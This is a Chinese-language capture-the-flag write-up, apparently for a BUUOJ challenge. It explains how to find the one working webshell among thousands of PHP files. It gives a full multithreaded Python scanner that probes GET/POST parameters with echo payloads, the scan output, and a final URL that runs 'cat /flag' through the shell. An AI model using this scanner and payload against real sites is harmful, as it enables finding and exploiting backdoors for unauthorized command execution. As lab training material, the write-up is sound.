一、题目背景
题目提供一个被黑网站,提示源码位于/www.tar.gz
。下载该文件后发现包含3000+个PHP文件,每个文件中均存在看似可利用的WebShell代码片段(如eval($_GET[...])
或system($_POST[...])
),但实际只有特定文件中的特定参数可被利用。需要通过脚本自动化筛选出真正有效的WebShell路径。
二、核心解题思路
- 文件遍历:遍历所有PHP文件,提取每个文件中的
$_GET
和$_POST
参数名。 - 参数有效性验证:构造包含测试命令(如
echo xxxxxx
)的请求,检测回显是否包含预期字符串。 - 多线程优化:因文件数量庞大,需使用多线程加速扫描。
三、详细解题步骤
1. 获取源码并分析
- 访问
/www.tar.gz
下载源码包,解压后得到数千个PHP文件。 - 任意打开一个文件(如
xk0SzyKwfzw.php
)观察代码结构,发现类似以下片段:
但并非所有参数都有效,需筛选实际可用的参数。if ($_GET['_d1sPl@y_'] === 'flag') { eval($_POST['_G3ET_IT_']); }
2. 编写自动化扫描脚本
核心逻辑:
- 正则提取参数:通过正则表达式
\$_GET\[\'(.*?)\'\]
和\$_POST\[\'(.*?)\'\]
匹配所有参数名。如:$_GET['_d1sPl@y_']
和$_POST['_G3ET_IT_']
。 - 批量请求测试:对每个参数发送包含
echo xxxxxx
的请求,检测响应中是否包含xxxxxx
。 - 多线程加速:使用
threading.Semaphore
控制并发线程数(建议100-200线程)。
完整Python代码:
# 导入所需库
import os # 文件系统操作
import requests # HTTP请求库
import re # 正则表达式
import threading # 多线程支持
import time # 时间处理
from requests_ratelimiter import LimiterSession # 限流请求会话
# 创建线程锁保证控制台输出完整性
print_lock = threading.Lock()
# 带锁保护的启动时间输出
with print_lock:
# 格式化显示扫描开始时间
print('[*] 扫描启动 {}'.format(time.asctime(time.localtime(time.time()))))
# 设置最大并发信号量(限制100个并发线程)
s1 = threading.Semaphore(100)
# 定义目标文件路径
filePath = r"C:/Users/Hum8le/Desktop/做题环境/src"
# 切换工作目录
os.chdir(filePath)
# 配置请求重试次数
requests.adapters.DEFAULT_RETRIES = 5
# 获取文件列表
files = os.listdir(filePath)
# 创建限流会话(每秒10个请求)
session = LimiterSession(per_second=10)
# 禁用保持连接
session.keep_alive = False
def get_content(file):
# 获取信号量(控制并发)
s1.acquire()
try:
# 读取并分析PHP文件
with open(file, encoding='utf-8') as f:
# 使用正则匹配所有$_GET参数
gets = list(re.findall('\$_GET\[\'(.*?)\'\]', f.read()))
# 回退文件指针并匹配所有$_POST参数
f.seek(0)
posts = list(re.findall('\$_POST\[\'(.*?)\'\]', f.read()))
# 构造测试用的POST数据和GET参数
data = {} # POST数据字典
params = {} # GET参数字典
# 为每个GET参数添加测试payload
for m in gets:
params[m] = "echo 'xxxxxx';"
# 为每个POST参数添加测试payload
for n in posts:
data[n] = "echo 'xxxxxx';"
# 构造目标URL
url = 'http://44e0b16b-5b74-45a3-b1af-5452da71aba0.node5.buuoj.cn:81/' + file
# 发送组合请求
req = session.post(url, data=data, params=params)
req.close()
req.encoding = 'utf-8'
content = req.text
# 验证是否存在漏洞
if "xxxxxx" in content:
flag = 0
# 单独测试GET参数
for get in gets:
req = session.get(url + '?' + get + '=' + "echo 'xxxxxx';")
content = req.text
req.close()
if "xxxxxx" in content:
flag = 1
break
# 如果GET无漏洞,测试POST参数
if flag != 1:
for post in posts:
req = session.post(url, data={post: "echo 'xxxxxx';"})
content = req.text
req.close()
if "xxxxxx" in content:
break
# 确定参数类型
if flag == 1:
param_type = 'GET'
param = get
else:
param_type = 'POST'
param = post
# 带锁保护的漏洞输出
with print_lock:
current_time = time.strftime("%H:%M:%S")
print('[+] 漏洞确认 文件: {}'.format(file))
print(' 参数类型: {} 参数名: {}'.format(param_type, param))
print(' 验证时间: {}'.format(current_time))
except Exception as e:
# 异常处理
with print_lock:
print('[!] 文件处理异常: {} - {}'.format(file, str(e)))
finally:
# 释放信号量
s1.release()
# 创建并启动多个线程处理文件
for i in files:
t = threading.Thread(target=get_content, args=(i,))
t.start()
处理结果:
[*] 扫描启动 Wed Mar 26 11:48:49 2025
[+] 漏洞确认 文件: xk0SzyKwfzw.php
参数类型: GET 参数名: Efa5BVG
验证时间: 11:53:50
3.构造payload
http://a0bd86ab-c687-4eeb-8f43-737ab2ec402b.node5.buuoj.cn:81/xk0SzyKwfzw.php?Efa5BVG=cat /flag
四、关键点解析
正则匹配优化:
使用非贪婪模式(.*?)
精确匹配参数名,避免误提取无关代码。PHP版本兼容性:
PHP 7.x中assert
函数无法直接执行代码,需优先测试eval
或system
相关的参数。性能优化技巧:
- 关闭请求对象释放内存(
req.close()
)。 - 线程数根据服务器性能调整,过高可能导致超时。
- 关闭请求对象释放内存(